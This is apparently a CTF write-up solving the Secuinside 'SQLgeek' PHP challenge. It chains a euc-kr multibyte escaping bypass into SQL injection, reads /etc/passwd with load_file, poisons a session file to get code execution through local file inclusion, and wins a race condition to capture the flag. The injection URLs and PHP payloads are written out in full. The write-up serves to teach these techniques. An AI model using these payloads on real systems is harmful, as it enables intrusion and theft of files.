Secuinside CTF writeup SQLgeek

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy 😉 The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them 🙂

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.